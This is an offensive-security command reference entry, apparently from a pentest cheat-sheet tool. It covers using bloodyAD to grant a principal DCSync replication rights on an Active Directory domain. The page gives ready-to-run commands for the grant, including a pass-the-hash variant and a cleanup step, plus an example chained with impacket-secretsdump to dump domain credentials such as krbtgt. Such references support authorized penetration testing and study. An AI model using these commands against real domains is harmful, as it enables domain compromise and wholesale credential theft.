bloodyAD Grant DCSync
Grant a target principal the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights on the domain object — i.e. give them DCSync. Requires WriteDacl on the domain. Pair with secretsdump for instant krbtgt extraction.
- Tool
- bloodyAD
- Category
- Privilege Escalation / ACL / DACL Abuse
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> add dcsync <target_user>
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
bloodyAD --host <dc-ip> -d <domain> -u <user> -p :<hash> add dcsync <target_user>
Cleanup requires password
bloodyAD --host <dc-ip> -d <domain> -u <user> -p <password> remove dcsync <target_user>
Examples
bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' add dcsync jdoe
impacket-secretsdump -just-dc 'corp.local/jdoe:Password123!@10.10.10.10'
Tags
References
Related commands
- BloodyAD Add User to Group Add user to group using BloodyAD
- BloodyAD Set Object Owner Set object owner using BloodyAD
- Impacket badsuccessor Exploit the BadSuccessor vulnerability to escalate privileges via delegated Managed…
- Impacket dacledit Read or write DACL entries on AD objects to grant or abuse ACL rights
- Impacket dacledit.py Read, write, or remove DACL ACEs on AD objects from Linux. Use to grant yourself…
- Impacket owneredit Read or rewrite the nTSecurityDescriptor owner of an AD object. Use after a WriteOwner…
- Impacket owneredit Change the owner of an AD object (WriteOwner abuse)
- NetExec LDAP BadSuccessor Check and exploit the BadSuccessor vulnerability via delegated Managed Service Accounts…